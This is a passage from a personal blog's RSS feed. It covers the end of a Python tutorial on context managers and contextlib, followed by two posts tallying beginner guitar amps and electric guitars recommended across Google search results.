&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt; — There are some subtleties I left out, to make the discussion to-the-point. For the exact specifications of these magic methods, refer to the Python documentation &lt;a href=&quot;https://docs.python.org/3/library/stdtypes.html#context-manager-types&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;using-contextlib&quot;&gt;Using contextlib&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.python.org/dev/peps/pep-0020/&quot;&gt;Zen of Python&lt;/a&gt;—Python’s guiding principle as a list of aphorisms—states that,&lt;/p&gt;
&lt;blockquote&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Simple is better than complex.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;To really drive this point home, Python developers have created a library named &lt;a href=&quot;https://docs.python.org/3/library/contextlib.html&quot;&gt;&lt;code&gt;contextlib&lt;/code&gt;&lt;/a&gt; containing utilities regarding context managers, as if they didn’t simplify the problem of resource management enough. It contains an array of functions and decorators that can be used to make your context managers &lt;a href=&quot;https://en.wikipedia.org/wiki/Don%27t_repeat_yourself&quot;&gt;&lt;em&gt;DRY&lt;/em&gt;&lt;/a&gt;. I’m going to demonstrate only one of them briefly here, I recommend you to check out the official Python docs for more.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; contextlib &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; contextmanager&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;@contextmanager&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; open_file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(filename):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    opened_file &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(filename)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        yield&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; opened_file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    finally&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        opened_file.close()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Like the code above, we can simply define a function that &lt;code&gt;yield&lt;/code&gt;s the protected resource in a &lt;code&gt;try&lt;/code&gt; statement, closing it in the subsequent &lt;code&gt;finally&lt;/code&gt; statement. Another way to understand it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All the contents you’d otherwise put in the &lt;code&gt;__enter__&lt;/code&gt; method, except the &lt;code&gt;return&lt;/code&gt; statement, goes before the &lt;code&gt;try&lt;/code&gt; block here — basically the instructions for opening the resource.&lt;/li&gt;
&lt;li&gt;Instead of returning the resource, you &lt;code&gt;yield&lt;/code&gt; it, inside a &lt;code&gt;try&lt;/code&gt; block.&lt;/li&gt;
&lt;li&gt;The contents of the &lt;code&gt;__exit__&lt;/code&gt; method goes inside the corresponding &lt;code&gt;finally&lt;/code&gt; block.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once we have such a function, we can decorate it using the &lt;code&gt;contextlib.contextmanager&lt;/code&gt; decorator and we’re good.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; open_file(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;readme.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(text)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, the decorated &lt;code&gt;open_file&lt;/code&gt; function returns a context manager and we can use that directly. This lets us achieve the same effect as of creating the &lt;code&gt;FileManager&lt;/code&gt; class, without all the hassle.&lt;/p&gt;
&lt;h3 id=&quot;further-reading&quot;&gt;Further reading&lt;/h3&gt;
&lt;p&gt;If you’re feeling enthusiastic and want to read more about context managers, I encourage you to check out the following links —&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/reference/compound_stmts.html#with&quot;&gt;https://docs.python.org/3/reference/compound_stmts.html#with&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/reference/datamodel.html#context-managers&quot;&gt;https://docs.python.org/3/reference/datamodel.html#context-managers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/contextlib.html&quot;&gt;https://docs.python.org/3/library/contextlib.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rszalski.github.io/magicmethods/&quot;&gt;https://rszalski.github.io/magicmethods/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Best Beginner Budget Guitar Amps in 2019, According to the Internet</title><link>https://sumit-ghosh.com/posts/best-beginner-guitar-amps/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/best-beginner-guitar-amps/</guid><description>Best Beginner Budget Guitar Amps in 2019, According to the Internet — by Sumit Ghosh.</description><pubDate>Thu, 27 Dec 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;In this same spirit of &lt;a href=&quot;https://sumit-ghosh.com/posts/best-beginner-electric-guitars&quot;&gt;this post&lt;/a&gt; about the best electric guitars, I decided to make another list about… drum roll… best beginner guitar amps! Because what’s a good electric guitar without a decent amp to bring teh tone?&lt;/p&gt;
&lt;p&gt;Like always, Google generously supplied the opinions of the Interweb. This one was a little trickier than doing the same with guitars, because there were such a large number of amps to choose from, and there was little agreement between websites about what’s the best amp! So, I had to embark deep into the third page of Google search, who does that?! So here it is, the list I got upon compiling books from the first three pages of Google search results of the query “beginner budget electric guitar amp”.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt; — Number of ★s against an amp indicates the number of times that amp came up repeating, so the more the better.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;top-picks-compiled-list&quot;&gt;Top picks: Compiled list&lt;/h1&gt;
&lt;p&gt;There are a lot of diversity and no definite trend in the list with the exact amp models, so that isn’t really helpful. So, I decided to make another derivative list, in which I counted amp models from the same series as one. Usually, the main difference they had was in the power rating. I figured once you know what are the best amp series, you could choose the exact model depending upon your budget and how loud you want it to be. Also, I left out models // series which appeared only once.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;★★★★★★★★ Orange Crush Series&lt;/li&gt;
&lt;li&gt;★★★★★★★ Vox VT Series&lt;/li&gt;
&lt;li&gt;★★★★★★ Line 6 Spider V&lt;/li&gt;
&lt;li&gt;★★★★★★ Fender Champion Series&lt;/li&gt;
&lt;li&gt;★★★★★ Marshall MG Gold Series&lt;/li&gt;
&lt;li&gt;★★★★★ Blackstar ID:Core Series&lt;/li&gt;
&lt;li&gt;★★★★★ Orange Terror Series&lt;/li&gt;
&lt;li&gt;★★★★ Peavey Vypyr VIP Series&lt;/li&gt;
&lt;li&gt;★★★★ Fender Mustang I v2&lt;/li&gt;
&lt;li&gt;★★★★ Roland Cubes&lt;/li&gt;
&lt;li&gt;★★★ Bugera V5 Infinium&lt;/li&gt;
&lt;li&gt;★★★ Boss Katana Series&lt;/li&gt;
&lt;li&gt;★★★ Marshall Code Series&lt;/li&gt;
&lt;li&gt;★★ Fender Pro Junior III 15W&lt;/li&gt;
&lt;li&gt;★★ Blackstar Fly 3&lt;/li&gt;
&lt;li&gt;★★ Yamaha THR10&lt;/li&gt;
&lt;li&gt;★ Bugera BC15&lt;/li&gt;
&lt;li&gt;★ Fender Blues Junior IV&lt;/li&gt;
&lt;li&gt;★ Fender Super Champ X2&lt;/li&gt;
&lt;li&gt;★ Line 6 Spider Classic&lt;/li&gt;
&lt;li&gt;★ Peavey Rage 258&lt;/li&gt;
&lt;li&gt;★ Pignose 7-100&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;all-the-amps&quot;&gt;All the amps&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;★★★ Bugera V5 Infinium&lt;/li&gt;
&lt;li&gt;★ Bugera BC15&lt;/li&gt;
&lt;li&gt;★ Line 6 Spider IV&lt;/li&gt;
&lt;li&gt;★★ Line 6 Spider V 30&lt;/li&gt;
&lt;li&gt;★ Line 6 Spider V 60&lt;/li&gt;
&lt;li&gt;★ Line 6 Spider Classic 15&lt;/li&gt;
&lt;li&gt;★ Orange Micro Terror&lt;/li&gt;
&lt;li&gt;Orange Tiny Terror&lt;/li&gt;
&lt;li&gt;★★ Orange Micro Dark&lt;/li&gt;
&lt;li&gt;Orange Micro Crush Mini&lt;/li&gt;
&lt;li&gt;★★★★ Orange Crush 12&lt;/li&gt;
&lt;li&gt;★ Orange Crush 20RT&lt;/li&gt;
&lt;li&gt;Orange Crush 35&lt;/li&gt;
&lt;li&gt;★ Fender Blues Junior III&lt;/li&gt;
&lt;li&gt;★★ Fender Champion 40&lt;/li&gt;
&lt;li&gt;★★★ Fender Champion 20&lt;/li&gt;
&lt;li&gt;★★★ Fender Mustang I v2&lt;/li&gt;
&lt;li&gt;Fender Mustang II&lt;/li&gt;
&lt;li&gt;Fender Mustang GT 40&lt;/li&gt;
&lt;li&gt;★ Fender Super Champ X2&lt;/li&gt;
&lt;li&gt;★★ Fender Pro Junior III 15W&lt;/li&gt;
&lt;li&gt;Fender Acoustasonic 15&lt;/li&gt;
&lt;li&gt;Fender Mini Deluxe&lt;/li&gt;
&lt;li&gt;Vox AC15C1&lt;/li&gt;
&lt;li&gt;Vox AC10&lt;/li&gt;
&lt;li&gt;★ Vox Pathfinder 10W&lt;/li&gt;
&lt;li&gt;★ Vox Valvetronix VT40X&lt;/li&gt;
&lt;li&gt;★ Vox Valvetronix VT20+&lt;/li&gt;
&lt;li&gt;★ Vox Valvetronix VT20X&lt;/li&gt;
&lt;li&gt;Vox amPlug 2&lt;/li&gt;
&lt;li&gt;Marshall DSL40C&lt;/li&gt;
&lt;li&gt;★ Marshall Code 25&lt;/li&gt;
&lt;li&gt;★ Marshall Code 50&lt;/li&gt;
&lt;li&gt;Marshall MS-2 Micro amp&lt;/li&gt;
&lt;li&gt;Marshall MG10CF&lt;/li&gt;
&lt;li&gt;Marshall MG15CF&lt;/li&gt;
&lt;li&gt;★★★ Marshall MG30FX&lt;/li&gt;
&lt;li&gt;Peavey 6505+&lt;/li&gt;
&lt;li&gt;★ Peavey Vypur VIP 1&lt;/li&gt;
&lt;li&gt;★★ Peavey Vypyr VIP 2&lt;/li&gt;
&lt;li&gt;★ Peavey Rage 258&lt;/li&gt;
&lt;li&gt;Peavey Solo 12W Transtube&lt;/li&gt;
&lt;li&gt;Peavey Backstage&lt;/li&gt;
&lt;li&gt;PRS Sonzera 20&lt;/li&gt;
&lt;li&gt;Dr. Z Carmen Ghia&lt;/li&gt;
&lt;li&gt;Grammatico Amps LaGrange&lt;/li&gt;
&lt;li&gt;Blackstar ID:15 TVP&lt;/li&gt;
&lt;li&gt;★ Blackstar ID:CORE 10 V2&lt;/li&gt;
&lt;li&gt;Blackstar ID:Core Stereo 100&lt;/li&gt;
&lt;li&gt;★ Blackstar ID:Core Stereo 20 V2&lt;/li&gt;
&lt;li&gt;Blackstar ID:CORE 40W Head&lt;/li&gt;
&lt;li&gt;★★ Blackstar Fly 3&lt;/li&gt;
&lt;li&gt;Blackstar HT1&lt;/li&gt;
&lt;li&gt;★ Boss Katana 50&lt;/li&gt;
&lt;li&gt;Boss Katana 100&lt;/li&gt;
&lt;li&gt;Boss Katana Mini&lt;/li&gt;
&lt;li&gt;Behringer Ultracoustic ACX450 45 watt&lt;/li&gt;
&lt;li&gt;Behrinder Ultracoustic AT108&lt;/li&gt;
&lt;li&gt;★★ Yamaha THR10&lt;/li&gt;
&lt;li&gt;Roland Blues Cube Hot&lt;/li&gt;
&lt;li&gt;Roland Cube Street EX&lt;/li&gt;
&lt;li&gt;Roland Cube 10 GX&lt;/li&gt;
&lt;li&gt;Roland Micro Cube GX&lt;/li&gt;
&lt;li&gt;Roland Mobile Cube&lt;/li&gt;
&lt;li&gt;EVH 5150 III LBX&lt;/li&gt;
&lt;li&gt;VHT Special 6&lt;/li&gt;
&lt;li&gt;DV Mark Little Jazz&lt;/li&gt;
&lt;li&gt;Rocktron Velocity V10&lt;/li&gt;
&lt;li&gt;Blackheart Killer Ant&lt;/li&gt;
&lt;li&gt;Hotone Nano Legact Mojo Diamond&lt;/li&gt;
&lt;li&gt;Monoprice 611705&lt;/li&gt;
&lt;li&gt;Mugig Guitar Amplifier&lt;/li&gt;
&lt;li&gt;★ Pignose 7-100&lt;/li&gt;
&lt;li&gt;Pignose 7-200 Hog 20&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;sources&quot;&gt;Sources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gearpatrol.com/2017/12/23/best-guitar-amps-for-beginners-2/&quot;&gt;https://gearpatrol.com/2017/12/23/best-guitar-amps-for-beginners-2/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarworld.com/gear/11-great-beginner-guitar-amps-under-300&quot;&gt;https://www.guitarworld.com/gear/11-great-beginner-guitar-amps-under-300&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pmtonline.co.uk/blog/2017/11/22/top-7-best-cheap-amps-that-dont-suck/&quot;&gt;https://www.pmtonline.co.uk/blog/2017/11/22/top-7-best-cheap-amps-that-dont-suck/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thewirecutter.com/reviews/best-electric-guitar-amp-for-beginners/&quot;&gt;https://thewirecutter.com/reviews/best-electric-guitar-amp-for-beginners/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.musicradar.com/news/the-11-best-guitar-amps-under-dollarpound500-our-pick-of-the-best-amps-for-beginners-and-experts&quot;&gt;https://www.musicradar.com/news/the-11-best-guitar-amps-under-dollarpound500-our-pick-of-the-best-amps-for-beginners-and-experts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spinditty.com/instruments-gear/Best-Guitar-Amp-for-Beginners-Under-100&quot;&gt;https://spinditty.com/instruments-gear/Best-Guitar-Amp-for-Beginners-Under-100&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.constantinecruz.com/best-guitar-amplifiers-for-beginners/&quot;&gt;https://www.constantinecruz.com/best-guitar-amplifiers-for-beginners/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thehub.musiciansfriend.com/guitar-buying-guides/tech-tip-what-s-a-good-guitar-amp-for-a-beginner&quot;&gt;https://thehub.musiciansfriend.com/guitar-buying-guides/tech-tip-what-s-a-good-guitar-amp-for-a-beginner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.uberchord.com/blog/10-best-guitar-amps-for-beginners/&quot;&gt;https://www.uberchord.com/blog/10-best-guitar-amps-for-beginners/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarchords247.com/best-beginner-guitar-amps/&quot;&gt;https://www.guitarchords247.com/best-beginner-guitar-amps/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hiconsumption.com/2018/08/best-guitar-amplifiers-for-beginners/&quot;&gt;https://hiconsumption.com/2018/08/best-guitar-amplifiers-for-beginners/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarlessons.org/gear/amps/under-100/&quot;&gt;https://www.guitarlessons.org/gear/amps/under-100/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarfella.com/best-guitar-amplifier/under-200/&quot;&gt;https://www.guitarfella.com/best-guitar-amplifier/under-200/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarfella.com/best-guitar-amplifier/under-100/&quot;&gt;https://www.guitarfella.com/best-guitar-amplifier/under-100/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spinditty.com/instruments-gear/Best-Guitar-Amp-Under-200-Dollars&quot;&gt;https://spinditty.com/instruments-gear/Best-Guitar-Amp-Under-200-Dollars&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarlessonworld.com/blog/recommendations/beginner-guitar-amps/&quot;&gt;https://www.guitarlessonworld.com/blog/recommendations/beginner-guitar-amps/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gearank.com/guides/cheap-guitar-amps&quot;&gt;https://www.gearank.com/guides/cheap-guitar-amps&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Best Beginner Budget Electric Guitars in 2019, According to the Internet</title><link>https://sumit-ghosh.com/posts/best-beginner-electric-guitars/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/best-beginner-electric-guitars/</guid><description>Best Beginner Budget Electric Guitars in 2019, According to the Internet — by Sumit Ghosh.</description><pubDate>Tue, 25 Dec 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; — I wrote a similar post about best beginner budget guitar amps, you can find it &lt;a href=&quot;https://sumit-ghosh.com/posts/best-beginner-guitar-amps&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I’ve been dabbling in music for a few months now, mostly playing an acoustic guitar borrowed from a friend. But the primary reason for my attraction to guitar was lead solos, especially the ones by David Gilmour. So I decided to “upgrade” and buy an electric guitar. But then there was this inevitable dilemma of selection, which one should I buy? You should note that I was looking for beginner &lt;em&gt;budget&lt;/em&gt; guitars, not expensive ones.&lt;/p&gt;
&lt;p&gt;Naturally, Google came to help. Upon compiling books from the first two pages of Google search results of the query “beginner budget electric guitar”, what I got is the list below. FYI, I’ve made a similar post before, about books every startup founder should read, you can find that &lt;a href=&quot;https://sumit-ghosh.com/posts/books-every-startup-founder-should-read&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt; — Number of ★s against a guitar indicates the number of times that guitar came up repeating, so the more the better.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;top-picks-guitars-coming-up-more-than-once&quot;&gt;Top picks: Guitars coming up more than once&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;★★★★★★★★★★ Epiphone Les Paul Special II&lt;/li&gt;
&lt;li&gt;★★★★★★★★ Squier Affinity Stratocaster&lt;/li&gt;
&lt;li&gt;★★★★★★ Squire Affinity Telecaster&lt;/li&gt;
&lt;li&gt;★★★★★★ Jackson JS22 Dinky&lt;/li&gt;
&lt;li&gt;★★★★★ Yamaha Pacifica PAC012&lt;/li&gt;
&lt;li&gt;★★★★★ Yamaha Pacifica PAC112&lt;/li&gt;
&lt;li&gt;★★★★ Squire Bullet Stratocaster&lt;/li&gt;
&lt;li&gt;★★★★ ESP LTD EC10&lt;/li&gt;
&lt;li&gt;★★★ Epiphone SG Special&lt;/li&gt;
&lt;li&gt;★★★ Ibanez GRX20Z&lt;/li&gt;
&lt;li&gt;★★★ Dean Vendetta XM // XMT&lt;/li&gt;
&lt;li&gt;★★★ Schecter C1 SGR&lt;/li&gt;
&lt;li&gt;★★★ Squier Affinity Telecaster&lt;/li&gt;
&lt;li&gt;★★ Ibanez GRX70QA&lt;/li&gt;
&lt;li&gt;★ Epiphone Les Paul SL&lt;/li&gt;
&lt;li&gt;★ Epiphone Dot&lt;/li&gt;
&lt;li&gt;★ Epiphone G-400&lt;/li&gt;
&lt;li&gt;★ Epiphone Les Paul 100&lt;/li&gt;
&lt;li&gt;★ Epiphone Les Paul Standard&lt;/li&gt;
&lt;li&gt;★ Oscar Schimdt OE20&lt;/li&gt;
&lt;li&gt;★ Sterling Music Man Sub Silo 3&lt;/li&gt;
&lt;li&gt;★ Dean MLX&lt;/li&gt;
&lt;li&gt;★ Squier Bullet Mustang HH&lt;/li&gt;
&lt;li&gt;★ Gretsch G2622 Streamliner&lt;/li&gt;
&lt;li&gt;★ Schecster C6 Plus&lt;/li&gt;
&lt;li&gt;★ Ibanez Artcore AS53&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;FYI — I ended up buying Yamaha Pacifica PAC012, in case you wanted to know.&lt;/p&gt;
&lt;h1 id=&quot;all-the-guitars&quot;&gt;All the guitars&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;★★★★★★★★★★ Epiphone Les Paul Special II&lt;/li&gt;
&lt;li&gt;★ Epiphone Les Paul SL&lt;/li&gt;
&lt;li&gt;Epiphone Les Paul Special VE&lt;/li&gt;
&lt;li&gt;★ Epiphone Dot&lt;/li&gt;
&lt;li&gt;★ Epiphone G-400&lt;/li&gt;
&lt;li&gt;★ Epiphone Les Paul 100&lt;/li&gt;
&lt;li&gt;★ Epiphone Les Paul Standard&lt;/li&gt;
&lt;li&gt;Epiphone Les Paul Studio Deluxe&lt;/li&gt;
&lt;li&gt;★★★ Epiphone SG Special&lt;/li&gt;
&lt;li&gt;★★★ Ibanez GRX20Z&lt;/li&gt;
&lt;li&gt;★★ Ibanez GRX70QA&lt;/li&gt;
&lt;li&gt;Ibanez GRGM21&lt;/li&gt;
&lt;li&gt;Ibanez GRG121DX&lt;/li&gt;
&lt;li&gt;Ibanez GRGR120EX&lt;/li&gt;
&lt;li&gt;Ibanez GRG170&lt;/li&gt;
&lt;li&gt;★★★★★★★★ Squier Affinity Stratocaster&lt;/li&gt;
&lt;li&gt;★★★★★ Yamaha Pacifica PAC012&lt;/li&gt;
&lt;li&gt;★★★ Schecter C1 SGR&lt;/li&gt;
&lt;li&gt;★★★★★★ Jackson JS22 Dinky&lt;/li&gt;
&lt;li&gt;★★★ Squier Affinity Telecaster&lt;/li&gt;
&lt;li&gt;★ Oscar Schimdt OE20&lt;/li&gt;
&lt;li&gt;★★★ Dean Vendetta XM // XMT&lt;/li&gt;
&lt;li&gt;★★★★ ESP LTD EC10&lt;/li&gt;
&lt;li&gt;★ Sterling Music Man Sub Silo 3&lt;/li&gt;
&lt;li&gt;★ Dean MLX&lt;/li&gt;
&lt;li&gt;Squier Affinity Jazzmaster HH&lt;/li&gt;
&lt;li&gt;Mitchell MD200&lt;/li&gt;
&lt;li&gt;★ Squier Bullet Mustang HH&lt;/li&gt;
&lt;li&gt;★★★★★ Yamaha Pacifica PAC112&lt;/li&gt;
&lt;li&gt;★ Gretsch G2622 Streamliner&lt;/li&gt;
&lt;li&gt;PRS SE Standard&lt;/li&gt;
&lt;li&gt;Schecter Demon 6 2018&lt;/li&gt;
&lt;li&gt;Squier Vintage ’72 Telecaster Thinline&lt;/li&gt;
&lt;li&gt;Squier Vintage Modified Jaguar&lt;/li&gt;
&lt;li&gt;Chapman ML2 Modern Standard&lt;/li&gt;
&lt;li&gt;Jackson X Series Signature Adrian Smith SDX&lt;/li&gt;
&lt;li&gt;Gretsch G5520 Electromatic Jet BT&lt;/li&gt;
&lt;li&gt;Gretsch G5421&lt;/li&gt;
&lt;li&gt;★★★★ Squire Bullet Stratocaster&lt;/li&gt;
&lt;li&gt;★★★★★★ Squire Affinity Telecaster&lt;/li&gt;
&lt;li&gt;Eastcoast GL20&lt;/li&gt;
&lt;li&gt;★ Schecter C6 Plus&lt;/li&gt;
&lt;li&gt;★ Ibanez Artcore AS53&lt;/li&gt;
&lt;li&gt;Ibanez Artcore AF55&lt;/li&gt;
&lt;li&gt;G&amp;amp;L Tribute Fallout&lt;/li&gt;
&lt;li&gt;Fender Modern Player Tele Plus&lt;/li&gt;
&lt;li&gt;Squier Deluxe Stratocaster&lt;/li&gt;
&lt;li&gt;Oscar Schimdt OE30CH&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;sources&quot;&gt;Sources&lt;/h1&gt;
&lt;p&gt;Pages from the first two pages of Google search results for the query “beginner budget electric guitar” as of 26th Dec 2018.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarfella.com/best-electric-guitar/cheap/&quot;&gt;https://www.guitarfella.com/best-electric-guitar/cheap/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://guitar.com/guides/buyers-guide-best-electric-guitars-under-200/&quot;&gt;https://guitar.com/guides/buyers-guide-best-electric-guitars-under-200/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pmtonline.co.uk/blog/2017/11/14/11-best-cheap-electric-guitars-that-dont-suck/&quot;&gt;https://www.pmtonline.co.uk/blog/2017/11/14/11-best-cheap-electric-guitars-that-dont-suck/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.theguitarjunky.com/best-electric-guitar-for-beginners/&quot;&gt;https://www.theguitarjunky.com/best-electric-guitar-for-beginners/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.theguitarjunky.com/electric-guitars-under-200-dollars/&quot;&gt;https://www.theguitarjunky.com/electric-guitars-under-200-dollars/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://musiccritic.com/equipment/best-electric-guitars-for-beginners/&quot;&gt;https://musiccritic.com/equipment/best-electric-guitars-for-beginners/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://musiccritic.com/equipment/guitars/best-cheap-electric-guitars/&quot;&gt;https://musiccritic.com/equipment/guitars/best-cheap-electric-guitars/&lt;/a&gt;&lt;/li&gt;
